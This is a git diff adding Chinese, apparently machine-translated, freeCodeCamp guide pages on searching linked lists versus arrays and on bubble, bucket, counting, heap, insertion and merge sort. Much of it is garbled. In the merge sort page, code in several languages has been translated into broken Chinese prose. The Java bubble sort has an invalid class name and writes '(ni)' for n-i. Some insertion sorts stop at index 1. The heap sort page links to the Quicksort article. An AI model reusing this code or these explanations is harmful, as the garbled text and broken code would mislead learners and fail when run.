diff --git a/client/src/guide/chinese/algorithms/search-algorithms/searching-linked-lists-versus-arrays/index.md b/client/src/guide/chinese/algorithms/search-algorithms/searching-linked-lists-versus-arrays/index.md
new file mode 100644
index 0000000000..133e71a39a
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/search-algorithms/searching-linked-lists-versus-arrays/index.md
@@ -0,0 +1,23 @@
+---
+title: Searching Linked Lists Versus Arrays
+localeTitle: 搜索链接列表与阵列
+---
+## 搜索链接列表与阵列
+
+假设您必须在_未排序的_链表和数组中搜索元素。在这种情况下，您需要进行线性搜索（记住，未排序）。对数据结构中的元素进行线性搜索将是O（n）操作。
+
+现在，如果您有一个已_排序的_链表和数组，您仍然可以使用二进制搜索在O（log n）时间内搜索这两个数据结构。虽然，使用链表时编码会有点繁琐。
+
+链接列表通常比插入频繁操作的数组更受欢迎。由于只有指针发生变化，因此在链表中插入更容易。但要插入数组（中间或开头），您需要移动所插入的元素之后的所有元素。您应该使用链接列表的另一个地方是大小不确定（您在开始时不知道大小），因为数组具有固定大小。
+
+与链表相比，数组确实提供了一些优势：
+
+1.  随机访问
+2.  与链表相比，内存更少
+3.  数组具有更好的缓存局部性，从而提供更好的性能
+
+它完全取决于数组或链表是否更好的用例。
+
+### 更多信息：
+
+*   程序员查看链表和数组的方法： [极客的极客](http://www.geeksforgeeks.org/programmers-approach-looking-array-vs-linked-list/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/sorting-algorithms/bubble-sort/index.md b/client/src/guide/chinese/algorithms/sorting-algorithms/bubble-sort/index.md
new file mode 100644
index 0000000000..fcebf71eb2
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/sorting-algorithms/bubble-sort/index.md
@@ -0,0 +1,154 @@
+---
+title: Bubble Sort
+localeTitle: 冒泡排序
+---
+## 冒泡排序
+
+冒泡排序是最简单的排序算法，如果它们的顺序错误，可以反复交换相邻的元素。
+
+与诸如快速排序的算法相比，这是一种非常慢的排序算法，具有最坏情况复杂度O（n ^ 2）。然而，权衡的是冒泡排序是从头开始实施的最简单的排序算法之一。
+
+### 例：
+
+#### 第一关：
+
+（5 1 4 2 8） - >（1 5 4 2 8），这里，算法比较前两个元素，并从5> 1开始交换。
+
+（1 5 4 2 8） - >（1 4 5 2 8），从5> 4开始交换
+
+（1 4 5 2 8） - >（1 4 2 5 8），从5> 2开始交换
+
+（1 4 2 5 8） - >（1 4 2 5 8），现在，由于这些元素已经按顺序排列（8> 5），算法不会交换它们。
+
+#### 第二次通过：
+
+（1 4 2 5 8） - >（1 4 2 5 8）
+
+（1 4 2 5 8） - >（1 2 4 5 8），从4> 2开始交换
+
+（1 2 4 5 8） - >（1 2 4 5 8）
+
+（1 2 4 5 8） - >（1 2 4 5 8）
+
+现在，数组已经排序，但我们的算法不知道它是否已完成。该算法需要一个完整的传递，没有任何交换，知道它已经排序。
+
+#### 第三次通过：
+
+（1 2 4 5 8） - >（1 2 4 5 8）
+
+（1 2 4 5 8） - >（1 2 4 5 8）
+
+（1 2 4 5 8） - >（1 2 4 5 8）
+
+（1 2 4 5 8） - >（1 2 4 5 8）
+
+#### 属性
+
+*   空间复杂度：O（1）
+*   最佳案例表现：O（n）
+*   平均案例表现：O（n \* n）
+*   最差案例表现：O（n \* n）
+*   稳定：是的
+
+### 视频说明
+
+[冒泡以简单的方式排序](https://www.youtube.com/watch?v=Jdtq5uKz-w4)
+
+此代码将使用冒泡排序对数组进行排序。
+
+```js
+let arr = [1, 4, 7, 45, 7,43, 44, 25, 6, 4, 6, 9]; 
+ let sorted = false 
+ 
+ while(!sorted) { 
+  sorted = true 
+  for(var i=0; i < arr.length; i++) { 
+    if(arr[i] < arr[i-1]) { 
+      let temp = arr[i]; 
+      arr[i] = arr[i-1]; 
+      arr[i-1] = temp; 
+      sorted = false; 
+    } 
+  } 
+ } 
+```
+
+### 属性：
+
+*   空间复杂度：O（1）
+*   时间复杂度：分别为最佳，平均和最差情况的O（n），O（n \* n），O（n \* n）。
+*   到位：是的
+*   稳定：是的
+
+\======= 这是用Java编写的算法。
+
+```java
+public class bubble-sort { 
+    static void sort(int[] arr) { 
+        int n = arr.length; 
+        int temp = 0; 
+         for(int i=0; i < n; i++){ 
+                 for(int x=1; x < (ni); x++){ 
+                          if(arr[x-1] > arr[x]){ 
+                                 temp = arr[x-1]; 
+                                 arr[x-1] = arr[x]; 
+                                 arr[x] = temp; 
+                         } 
+ 
+                 } 
+         } 
+ 
+    } 
+    public static void main(String[] args) { 
+ 
+        for(int i=0; i < 15; i++){ 
+            int arr[i] = (int)(Math.random() * 100 + 1); 
+        } 
+ 
+                System.out.println("array before sorting\n"); 
+                for(int i=0; i < arr.length; i++){ 
+                        System.out.print(arr[i] + " "); 
+                } 
+                bubbleSort(arr); 
+                System.out.println("\n array after sorting\n"); 
+                for(int i=0; i < arr.length; i++){ 
+                        System.out.print(arr[i] + " "); 
+                } 
+ 
+        } 
+ } 
+```
+
+\=======
+
+### 冒泡排序的递归实现。
+
+```c++
+void bubblesort(int arr[], int n) 
+ { 
+    if(n==1)    //Initial Case 
+        return; 
+ 
+    for(int i=0;i<n-1;i++)  //After this pass the largest element will move to its desired location. 
+    { 
+        if(arr[i]>arr[i+1]) 
+        { 
+            temp=arr[i]; 
+            arr[i]=arr[i+1]; 
+            arr[i+1]=temp; 
+        } 
+    } 
+ 
+    bubblesort(arr,n-1);    //Recursion for remaining array 
+ } 
+```
+
+### 更多信息
+
+*   [维基百科](https://en.wikipedia.org/wiki/Bubble_sort)
+*   [冒泡排序算法 - CS50](https://youtu.be/Ui97-_n5xjo)
+*   [冒泡排序算法 - GeeksForGeeks（文章）](http://www.geeksforgeeks.org/bubble-sort)
+*   [冒泡排序算法 - MyCodeSchool（视频）](https://www.youtube.com/watch?v=Jdtq5uKz-w4)
+*   [算法：冒泡排序 - HackerRank（视频）](https://www.youtube.com/watch?v=6Gv8vg0kcHc)
+*   [冒泡排序算法 - GeeksForGeeks（视频）](https://www.youtube.com/watch?v=nmhjrI-aW5o)
+*   [冒泡排序可视化](https://www.hackerearth.com/practice/algorithms/sorting/bubble-sort/visualize/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/sorting-algorithms/bucket-sort/index.md b/client/src/guide/chinese/algorithms/sorting-algorithms/bucket-sort/index.md
new file mode 100644
index 0000000000..c67820d373
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/sorting-algorithms/bucket-sort/index.md
@@ -0,0 +1,46 @@
+---
+title: Bucket Sort
+localeTitle: 铲斗排序
+---
+## 什么是Bucket Sort？
+
+Bucket sort是一种比较排序算法，它通过将元素划分为不同的存储区然后对这些存储区进行排序来对元素进行操作 个别。每个存储桶使用单独的排序算法或递归应用存储桶排序算法单独排序。 当输入均匀分布在一个范围内时，存储桶排序主要是有用的。
+
+## 假设一个人面前有以下问题：
+
+已经给出了一个大的浮点整数阵列，它们均匀地位于下界和上界之间。现在需要这个阵列 排序。解决此问题的一种简单方法是使用其他排序算法，例如合并排序，堆排序或快速排序。然而， 这些算法保证了O（NlogN）的最佳案例时间复杂度。 但是，使用桶排序，上述任务可以在O（N）时间内完成。
+
+让我们仔细看看吧。
+
+考虑一个需要创建一个列表数组，即桶。现在需要根据元素的属性将元素插入到这些桶中。 然后可以使用“插入排序”单独对每个存储桶进行排序。
+
+### 铲斗的伪代码排序：
+```
+void bucketSort(float[] a,int n) 
+ 
+ { 
+ 
+    for(each floating integer 'x' in n) 
+ 
+    { 
+ 
+        insert x into bucket[n*x]; 
+ 
+    } 
+ 
+    for(each bucket) 
+ 
+    { 
+ 
+        sort(bucket); 
+ 
+    } 
+ 
+ } 
+```
+
+### 更多信息：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Bucket_sort)
+    
+*   [GeeksForGeeks](http://www.geeksforgeeks.org/bucket-sort-2/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/sorting-algorithms/counting-sort/index.md b/client/src/guide/chinese/algorithms/sorting-algorithms/counting-sort/index.md
new file mode 100644
index 0000000000..5c09986055
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/sorting-algorithms/counting-sort/index.md
@@ -0,0 +1,56 @@
+---
+title: Counting Sort
+localeTitle: 计数排序
+---
+## 计数排序
+
+Counting Sort是一种基于特定范围之间的键的排序技术。它的工作原理是计算具有不同键值的对象数（散列类型）。然后做一些算术来计算输出序列中每个对象的位置。
+
+### 例：
+```
+For simplicity, consider the data in the range 0 to 9. 
+ Input data: 1, 4, 1, 2, 7, 5, 2 
+  1) Take a count array to store the count of each unique object. 
+  Index:     0  1  2  3  4  5  6  7  8  9 
+  Count:     0  2  2  0  1  1  0  1  0  0 
+ 
+  2) Modify the count array such that each element at each index 
+  stores the sum of previous counts. 
+  Index:     0  1  2  3  4  5  6  7  8  9 
+  Count:     0  2  4  4  5  6  6  7  7  7 
+ 
+ The modified count array indicates the position of each object in 
+ the output sequence. 
+ 
+  3) Output each object from the input sequence followed by 
+  decreasing its count by 1. 
+  Process the input data: 1, 4, 1, 2, 7, 5, 2. Position of 1 is 2. 
+  Put data 1 at index 2 in output. Decrease count by 1 to place 
+  next data 1 at an index 1 smaller than this index. 
+```
+
+### 履行
+
+```js
+let numbers = [1, 4, 1, 2, 7, 5, 2]; 
+ let count = []; 
+ let i, z = 0; 
+ let max = Math.max(...numbers); 
+ // initialize counter 
+ for (i = 0; i <= max; i++) { 
+    count[i] = 0; 
+ } 
+ for (i=0; i < numbers.length; i++) { 
+    count[numbers[i]]++; 
+ } 
+ for (i = 0; i <= max; i++) { 
+    while (count[i]-- > 0) { 
+        numbers[z++] = i; 
+    } 
+ } 
+ // output sorted array 
+ for (i=0; i < numbers.length; i++) { 
+    console.log(numbers[i]); 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/sorting-algorithms/heap-sort/index.md b/client/src/guide/chinese/algorithms/sorting-algorithms/heap-sort/index.md
new file mode 100644
index 0000000000..c9ff24ef2e
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/sorting-algorithms/heap-sort/index.md
@@ -0,0 +1,133 @@
+---
+title: Heapsort
+localeTitle: 堆排序
+---
+## 堆排序
+
+Heapsort是一种基于最大/最小堆使用的高效排序算法。堆是基于树的数据结构，它满足堆属性 - 即对于最大堆，任何节点的密钥小于或等于其父节点的密钥（如果它具有父节点）。可以使用此属性来使用maxHeapify方法在O（logn）时间内访问堆中的最大元素。我们执行此操作n次，每次将堆中的最大元素移动到堆的顶部并将其从堆中提取到一个已排序的数组中。因此，在n次迭代之后，我们将得到输入数组的排序版本。该算法在O（nlogn）时间和O（1）附加空间\[O（n）中运行，包括存储输入数据所需的空间\]，因为所有操作都是完全就地执行的。
+
+Heapsort的最差和平均案例时间要素是O（nlogn）。尽管heapsort比quicksort具有更好的恶劣情况复杂性，但实施良好的快速排序运行速度更快。这是一种基于比较的算法，因此它可以用于非数值数据集，因为可以在元素上定义某些关系（堆属性）。
+
+Java中的实现如下所示：
+
+```java
+import java.util.Arrays; 
+ public class Heapsort { 
+ 
+    public static void main(String[] args) { 
+        //test array 
+        Integer[] arr = {1, 4, 3, 2, 64, 3, 2, 4, 5, 5, 2, 12, 14, 5, 3, 0, -1}; 
+        String[] strarr = {"hope you find this helpful!", "wef", "rg", "q2rq2r", "avs", "erhijer0g", "ewofij", "gwe", "q", "random"}; 
+        arr = heapsort(arr); 
+        strarr = heapsort(strarr); 
+        System.out.println(Arrays.toString(arr)); 
+        System.out.println(Arrays.toString(strarr)); 
+    } 
+ 
+    //O(nlogn) TIME, O(1) SPACE, NOT STABLE 
+    public static <E extends Comparable<E>> E[] heapsort(E[] arr){ 
+        int heaplength = arr.length; 
+        for(int i = arr.length/2; i>0;i--){ 
+            arr = maxheapify(arr, i, heaplength); 
+        } 
+ 
+        for(int i=arr.length-1;i>=0;i--){ 
+            E max = arr[0]; 
+            arr[0] = arr[i]; 
+            arr[i] = max; 
+            heaplength--; 
+            arr = maxheapify(arr, 1, heaplength); 
+        } 
+ 
+        return arr; 
+    } 
+ 
+    //Creates maxheap from array 
+    public static <E extends Comparable<E>> E[] maxheapify(E[] arr, Integer node, Integer heaplength){ 
+        Integer left = node*2; 
+        Integer right = node*2+1; 
+        Integer largest = node; 
+ 
+        if(left.compareTo(heaplength) <=0 && arr[left-1].compareTo(arr[node-1]) >= 0){ 
+            largest = left; 
+        } 
+        if(right.compareTo(heaplength) <= 0 && arr[right-1].compareTo(arr[largest-1]) >= 0){ 
+            largest = right; 
+        } 
+        if(largest != node){ 
+            E temp = arr[node-1]; 
+            arr[node-1] = arr[largest-1]; 
+            arr[largest-1] = temp; 
+            maxheapify(arr, largest, heaplength); 
+        } 
+        return arr; 
+    } 
+ } 
+```
+
+在C ++中实现
+
+```C++
+#include <iostream> 
+ using namespace std; 
+ void heapify(int arr[], int n, int i) 
+ { 
+    int largest = i; 
+    int l = 2*i + 1; 
+    int r = 2*i + 2; 
+    if (l < n && arr[l] > arr[largest]) 
+        largest = l; 
+    if (r < n && arr[r] > arr[largest]) 
+        largest = r; 
+    if (largest != i) 
+    { 
+        swap(arr[i], arr[largest]); 
+ 
+ 
+        heapify(arr, n, largest); 
+    } 
+ } 
+ 
+ 
+ void heapSort(int arr[], int n) 
+ { 
+ 
+    for (int i = n / 2 - 1; i >= 0; i--) 
+        heapify(arr, n, i); 
+ 
+ 
+    for (int i=n-1; i>=0; i--) 
+    { 
+ 
+        swap(arr[0], arr[i]); 
+ 
+ 
+        heapify(arr, i, 0); 
+    } 
+ } 
+ void printArray(int arr[], int n) 
+ { 
+    for (int i=0; i<n; ++i) 
+        cout << arr[i] << " "; 
+    cout << "\n"; 
+ } 
+ int main() 
+ { 
+    int arr[] = {12, 11, 13, 5, 6, 7}; 
+    int n = sizeof(arr)/sizeof(arr[0]); 
+ 
+    heapSort(arr, n); 
+ 
+    cout << "Sorted array is \n"; 
+    printArray(arr, n); 
+ } 
+```
+
+### 可视化
+
+*   [USFCA](https://www.cs.usfca.edu/~galles/visualization/HeapSort.html)
+*   [HackerEarth](https://www.hackerearth.com/practice/algorithms/sorting/heap-sort/tutorial/)
+
+#### 更多信息：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Quicksort)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/sorting-algorithms/index.md b/client/src/guide/chinese/algorithms/sorting-algorithms/index.md
new file mode 100644
index 0000000000..74f3412244
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/sorting-algorithms/index.md
@@ -0,0 +1,54 @@
+---
+title: Sorting Algorithms
+localeTitle: 排序算法
+---
+## 排序算法
+
+排序算法是一组指令，它将数组或列表作为输入并将项排列为特定顺序。
+
+排序最常见的是数字或字母（称为词典）顺序的形式，并且可以按升序（AZ，0-9）或降序（ZA，9-0）顺序排列。
+
+### 为什么排序算法很重要
+
+由于排序通常可以降低问题的复杂性，因此它是计算机科学中的一种重要算法。这些算法直接应用于搜索算法，数据库算法，分而治之的方法，数据结构算法等等。
+
+### 一些常见的排序算法
+
+一些最常见的排序算法是：
+
+*   选择排序
+*   冒泡排序
+*   插入排序
+*   合并排序
+*   快速排序
+*   堆排序
+*   计数排序
+*   基数排序
+*   铲斗排序
+
+### 排序算法的分类
+
+可以基于以下参数对排序算法进行分类：
+
+1.  基于互换次数或反转次数 这是算法交换元素以对输入进行排序的次数。 `Selection Sort`需要最小数量的交换。
+    
+2.  基于比较数 这是算法比较元素以对输入进行排序的次数。使用[Big-O表示法](https://guide.freecodecamp.org/computer-science/notation/big-o-notation/) ，上面列出的排序算法示例在最佳情况下需要至少`O(nlogn)`比较，并且在最坏情况下对于大多数输出​​需要`O(n^2)`比较。
+    
+3.  基于递归或非递归 某些排序算法（如`Quick Sort` ）使用递归技术对输入进行排序。其他排序算法，例如`Selection Sort`或`Insertion Sort` ，使用非递归技术。最后，一些排序算法，如`Merge Sort` ，使用递归和非递归技术对输入进行排序。
+    
+4.  基于稳定性 如果算法保持具有相等键的元素的相对顺序，则称排序算法是`stable`的。换句话说，两个等效元素在排序输出中保持与输入中相同的顺序。
+    
+
+*   `Insertion sort` ， `Merge Sort`和`Bubble Sort`是稳定的
+*   `Heap Sort`和`Quick Sort`不稳定
+
+1.  基于额外空间要求 如果排序算法需要恒定的`O(1)`额外空间进行排序，则称它们`in place` 。
+
+*   `Insertion sort`和`Quick-sort` `in place`因为我们移动关于数据透视的元素并且实际上不使用单独的数组，这在合并排序中不是这种情况，其中必须事先分配输入的大小以在输出期间存储输出。分类。
+    
+*   `Merge Sort`是一个`out place` sort的例子，因为它需要额外的内存空间来进行操作。
+    
+
+### 任何基于比较的排序的最佳时间复杂度
+
+任何基于比较的排序算法必须至少进行nLog2n比较以对输入数组进行排序，而Heapsort和merge排序是渐近最优的比较排序。这可以通过绘制desicion树图来轻松证明。
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/sorting-algorithms/insertion-sort/index.md b/client/src/guide/chinese/algorithms/sorting-algorithms/insertion-sort/index.md
new file mode 100644
index 0000000000..c6cfb84208
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/sorting-algorithms/insertion-sort/index.md
@@ -0,0 +1,191 @@
+---
+title: Insertion Sort
+localeTitle: 插入排序
+---
+## 插入排序
+
+插入排序是针对少量元素的最简单有效的排序算法。
+
+### 例：
+
+在插入排序中，将`key`元素与先前元素进行比较。如果前面的元素大于`key`元素，则将前一个元素移动到下一个位置。
+
+从索引1开始到输入数组的大小。
+
+\[8 3 5 1 4 2\]
+
+步骤1 ：
+
+！ [\[8 3 5 1 4 2\]](https://github.com/blulion/freecodecamp-resource/blob/master/insertion_sort/1.png?raw=true)
+```
+      key = 3 //starting from 1st index. 
+ 
+      Here `key` will be compared with the previous elements. 
+ 
+      In this case, `key` is compared with 8. since 8 > 3, move the element 8 
+      to the next position and insert `key` to the previous position. 
+ 
+      Result: [ 3 8 5 1 4 2 ] 
+```
+
+第2步 ：
+
+！ [\[3 8 5 1 4 2\]](https://github.com/blulion/freecodecamp-resource/blob/master/insertion_sort/2.png?raw=true)
+```
+      key = 5 //2nd index 
+ 
+      8 > 5 //move 8 to 2nd index and insert 5 to the 1st index. 
+ 
+      Result: [ 3 5 8 1 4 2 ] 
+```
+
+第3步：
+
+！ [\[3 5 8 1 4 2\]](https://github.com/blulion/freecodecamp-resource/blob/master/insertion_sort/3.png?raw=true)
+```
+      key = 1 //3rd index 
+ 
+      8 > 1     => [ 3 5 1 8 4 2 ] 
+ 
+      5 > 1     => [ 3 1 5 8 4 2 ] 
+ 
+      3 > 1     => [ 1 3 5 8 4 2 ] 
+ 
+      Result: [ 1 3 5 8 4 2 ] 
+```
+
+第4步 ：
+
+！ [\[1 3 5 8 4 2\]](https://github.com/blulion/freecodecamp-resource/blob/master/insertion_sort/4.png?raw=true)
+```
+      key = 4 //4th index 
+ 
+      8 > 4   => [ 1 3 5 4 8 2 ] 
+ 
+      5 > 4   => [ 1 3 4 5 8 2 ] 
+ 
+      3 > 4   ≠>  stop 
+ 
+      Result: [ 1 3 4 5 8 2 ] 
+```
+
+第5步：
+
+！ [\[1 3 4 5 8 2\]](https://github.com/blulion/freecodecamp-resource/blob/master/insertion_sort/5.png?raw=true)
+```
+      key = 2 //5th index 
+ 
+      8 > 2   => [ 1 3 4 5 2 8 ] 
+ 
+      5 > 2   => [ 1 3 4 2 5 8 ] 
+ 
+      4 > 2   => [ 1 3 2 4 5 8 ] 
+ 
+      3 > 2   => [ 1 2 3 4 5 8 ] 
+ 
+      1 > 2   ≠> stop 
+ 
+      Result: [1 2 3 4 5 8] 
+```
+
+！ [\[1 2 3 4 5 8\]](https://github.com/blulion/freecodecamp-resource/blob/master/insertion_sort/6.png?raw=true)
+
+以下算法是略微优化的版本，以避免在每次迭代中交换`key`元素。这里， `key`元素将在迭代结束时交换（步骤）。
+
+```Algorithm
+    InsertionSort(arr[]) 
+      for j = 1 to arr.length 
+         key = arr[j] 
+         i = j - 1 
+         while i > 0 and arr[i] > key 
+            arr[i+1] = arr[i] 
+            i = i - 1 
+         arr[i+1] = key 
+```
+
+以下是Javascript中的详细实现：
+```
+function insertion_sort(A) { 
+    var len = array_length(A); 
+    var i = 1; 
+    while (i < len) { 
+        var x = A[i]; 
+        var j = i - 1; 
+        while (j >= 0 && A[j] > x) { 
+            A[j + 1] = A[j]; 
+            j = j - 1; 
+        } 
+        A[j+1] = x; 
+        i = i + 1; 
+    } 
+ } 
+```
+
+Swift中的快速实现如下所示：
+
+```swift
+  var array = [8, 3, 5, 1, 4, 2] 
+ 
+  func insertionSort(array:inout Array<Int>) -> Array<Int>{ 
+      for j in 0..<array.count { 
+          let key = array[j] 
+          var i = j-1 
+ 
+          while (i > 0 && array[i] > key){ 
+              array[i+1] = array[i] 
+              i = i-1 
+          } 
+          array[i+1] = key 
+      } 
+      return array 
+  } 
+```
+
+Java示例如下所示：
+```
+public int[] insertionSort(int[] arr) 
+      for (j = 1; j < arr.length; j++) { 
+         int key = arr[j] 
+         int i = j - 1 
+         while (i > 0 and arr[i] > key) { 
+            arr[i+1] = arr[i] 
+            i -= 1 
+         } 
+         arr[i+1] = key 
+      } 
+      return arr; 
+```
+
+### 在...中插入排序。
+
+```C
+void insertionSort(int arr[], int n) 
+ { 
+   int i, key, j; 
+   for (i = 1; i < n; i++) 
+   { 
+       key = arr[i]; 
+       j = i-1; 
+       while (j >= 0 && arr[j] > key) 
+       { 
+           arr[j+1] = arr[j]; 
+           j = j-1; 
+       } 
+       arr[j+1] = key; 
+   } 
+ } 
+```
+
+### 属性：
+
+*   空间复杂度：O（1）
+*   时间复杂度：O（n），O（n \* n），O（n \* n）分别为最佳，平均，最差情况
+*   排序到位：是的
+*   稳定：是的
+
+#### 其他资源：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Insertion_sort)
+*   [CS50 - YouTube](https://youtu.be/TwGb6ohsvUU)
+*   [SortInsertion - GeeksforGeeks，YouTube](https://www.youtube.com/watch?v=wObxd4Kx8sE)
+*   [插入排序可视化](https://www.hackerearth.com/practice/algorithms/sorting/insertion-sort/visualize/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/sorting-algorithms/merge-sort/index.md b/client/src/guide/chinese/algorithms/sorting-algorithms/merge-sort/index.md
new file mode 100644
index 0000000000..3e9828620c
--- /dev/null
+++ b/client/src/guide/chinese/algorithms/sorting-algorithms/merge-sort/index.md
@@ -0,0 +1,204 @@
+---
+title: Merge Sort
+localeTitle: 合并排序
+---
+## 合并排序
+
+Merge Sort是一种[Divide and Conquer](https://guide.freecodecamp.org/algorithms/divide-and-conquer-algorithms)算法。它将输入数组分为两半，为两半调用自身，然后合并两个已排序的一半。算法的主要部分给出了两个排序的数组，我们必须将它们合并为一个排序的数组。有一种称为[双指算法的](http://www.geeksforgeeks.org/merge-two-sorted-arrays/)东西可以帮助我们将两个已排序的数组合并在一起。使用这个子例程并递归调用数组半部分上的合并排序函数将为我们提供我们正在寻找的最终排序数组。
+
+由于这是一个基于递归的算法，我们有一个递归关系。递归关系只是一种根据子问题表示问题的方法。
+
+`T(n) = 2 * T(n / 2) + O(n)`
+
+用简单的英语说，我们在每一步都将子问题分解为两部分，我们需要做一些线性的工作，以便在每一步将两个分类的一半合并在一起。
+```
+T(n) = 2T(n/2) + n 
+     = 2(2T(n/4) + n/2) + n 
+     = 4T(n/4) + n + n 
+     = 4(2T(n/8) + n/4) + n + n 
+     = 8T(n/8) + n + n + n 
+     = nT(n/n) + n + ... + n + n + n 
+     = n + n + ... + n + n + n 
+```
+
+计算结尾总和中n的重复次数，我们看到它们有lg n + 1。因此运行时间是n（lg n + 1）= n lg n + n。我们观察到，对于n> 0，n lg n + n <n lg n + n lg n = 2n lg n，因此运行时间为O（n lg n）。
+
+```Algorithm
+MergeSort(arr[], left,  right): 
+ If right > l: 
+     1. Find the middle point to divide the array into two halves: 
+             mid = (left+right)/2 
+     2. Call mergeSort for first half: 
+             Call mergeSort(arr, left, mid) 
+     3. Call mergeSort for second half: 
+             Call mergeSort(arr, mid+1, right) 
+     4. Merge the two halves sorted in step 2 and 3: 
+             Call merge(arr, left, mid, right) 
+ ``` 
+ 
+ ![Merge Sort Algorithm](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/Merge_sort_algorithm_diagram.svg/300px-Merge_sort_algorithm_diagram.svg.png) 
+ 
+ ### Properties: 
+ * Space Complexity: O(n) 
+ * Time Complexity: O(n*log(n)). The time complexity for the Merge Sort might not be obvious from the first glance. The log(n) factor that comes in is because of the recurrence relation we have mentioned before. 
+ * Sorting In Place: No in a typical implementation 
+ * Stable: Yes 
+ * Parallelizable :yes (Several parallel variants are discussed in the third edition of Cormen, Leiserson, Rivest, and Stein's Introduction to Algorithms.) 
+ 
+ ### Visualization: 
+ * <a href='https://www.cs.usfca.edu/~galles/visualization/ComparisonSort.html'>USFCA</a> 
+ * <a href='https://www.hackerearth.com/practice/algorithms/sorting/merge-sort/visualize/'>HackerEarth</a> 
+ 
+ 
+ ### Relavant videos on freeCodeCamp YouTube channel 
+ * <a href='https://youtu.be/TzeBrDU-JaY'>Merge Sort algorithm - MyCodeSchool</a> 
+ 
+ ### Other Resources: 
+ * <a href='https://en.wikipedia.org/wiki/Merge_sort' target='_blank' rel='nofollow'>Wikipedia</a> 
+ * <a href='www.geeksforgeeks.org/merge-sort' target='_blank' rel='nofollow'>GeeksForGeeks</a> 
+ * <a href='https://youtu.be/sWtYJv_YXbo' target='_blank' rel='nofollow'>Merge Sort - CS50</a> 
+ 
+ ### Implementaion in JS 
+```
+
+JS const list = \[23,4,42,15,16,8,3\]
+
+const mergeSort =（list）=> { if（list.length <= 1）返回列表; const middle = list.length / 2; const left = list.slice（0，middle）; const right = list.slice（middle，list.length）; return merge（mergeSort（左），mergeSort（右））; }
+
+const merge =（left，right）=> { var result = \[\]; while（left.length || right.length）{ if（left.length && right.length）{ if（left \[0\] <right \[0\]）{ result.push（left.shift（）） } else { result.push（right.shift（）） } } else if（left.length）{ result.push（left.shift（）） } else { result.push（right.shift（）） } } 返回结果; }
+
+console.log（mergeSort（list））// \[3,4,8,15,16,23,42\]
+```
+### Implementation in C 
+```
+
+C
+
+# 包括
+
+# 包括
+
+void merge（int arr \[\]，int l，int m，int r） { int i，j，k; int n1 = m - l + 1; int n2 = r - m;
+```
+int L[n1], R[n2]; 
+ 
+ for (i = 0; i < n1; i++) 
+    L[i] = arr[l + i]; 
+ for (j = 0; j < n2; j++) 
+    R[j] = arr[m + 1+ j]; 
+ i = 0; 
+ j = 0; 
+ k = l; 
+ while (i < n1 && j < n2) 
+ { 
+    if (L[i] <= R[j]) 
+    { 
+        arr[k] = L[i]; 
+        i++; 
+    } 
+    else 
+    { 
+        arr[k] = R[j]; 
+        j++; 
+    } 
+    k++; 
+ } 
+ 
+ 
+ while (i < n1) 
+ { 
+    arr[k] = L[i]; 
+    i++; 
+    k++; 
+ } 
+ 
+ while (j < n2) 
+ { 
+    arr[k] = R[j]; 
+    j++; 
+    k++; 
+ } 
+```
+
+}
+
+void mergeSort（int arr \[\]，int l，int r） { if（l <r） {  
+int m = l +（rl）/ 2;
+```
+    mergeSort(arr, l, m); 
+    mergeSort(arr, m+1, r); 
+ 
+    merge(arr, l, m, r); 
+ } 
+```
+
+} void printArray（int A \[\]，int size） { int i; for（i = 0; i <size; i ++） printf（“％d”，A \[i\]）; 的printf（ “\\ n”）; } int main（） { int arr \[\] = {12,11,13,5,6,7}; int arr\_size = sizeof（arr）/ sizeof（arr \[0\]）;
+```
+printf("Given array is \n"); 
+ printArray(arr, arr_size); 
+ 
+ mergeSort(arr, 0, arr_size - 1); 
+ 
+ printf("\nSorted array is \n"); 
+ printArray(arr, arr_size); 
+ return 0; 
+```
+
+```
+### Implementation in C++ 
+ 
+ Let us consider array A = {2,5,7,8,9,12,13} 
+ and array B = {3,5,6,9,15} and we want array C to be in ascending order as well. 
+```
+
+C ++ void mergesort（int A \[\]，int size _a，int B \[\]，int size_ b，int C \[\]） { int token _a，token_ b，token _c; for（令牌_ a = 0，令牌_b = 0，令牌_ c = 0;令牌_a_ _a &&标记_b__ __b; ） { if（A \[token _a\] <= B \[token_ b\]） C \[token _c ++\] = A \[token_ a ++\]; 其他 C \[token _c ++\] = B \[token_ b ++\]; }__
+```
+  if(token_a<size_a) 
+  { 
+      while(token_a<size_a) 
+           C[token_c++]=A[token_a++]; 
+  } 
+  else 
+  { 
+      while(token_b<size_b) 
+           C[token_c++]=B[token_b++]; 
+  } 
+```
+
+}
+```
+### Implementation in Python 
+```
+
+蟒蛇 temp =无 def合并（arr，left，right）： 全球温度，反转 mid =（左+右）// 2 对于范围内的i（左，右+ 1）： temp \[i\] = arr \[i\]
+```
+k, L, R = left, left, mid + 1 
+ while L <= mid and R <= right: 
+    if temp[L] <= temp[R]: 
+        arr[k] = temp[L] 
+        L += 1 
+    else: 
+        arr[k] = temp[R] 
+        R += 1 
+    k += 1 
+ 
+ while L <= mid: 
+    arr[k] = temp[L] 
+    L += 1 
+    k += 1 
+ 
+ while R <= right: 
+    arr[k] = temp[R] 
+    R += 1 
+    k += 1 
+```
+
+def merge\_sort（arr，left，right）： 如果左> =右： 返回
+```
+mid = (left + right) // 2 
+ merge_sort(arr, left, mid) 
+ merge_sort(arr, mid + 1, right) 
+ merge(arr, left, right) 
+```
+
+arr = \[1,6,3,1,8,4,2,9,3\] temp = \[范围内没有\_（len（arr））\] merge\_sort（arr，0，len（arr） - 1） 打印（arr，inversions） \`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/algorithms/sorting-algorithms/quick-sort/index.md b/client/src/guide/chinese/algorithms/sorting-algorithms/quick-sort/index.md
new file mode 100644
index 0000000000..be49843aca
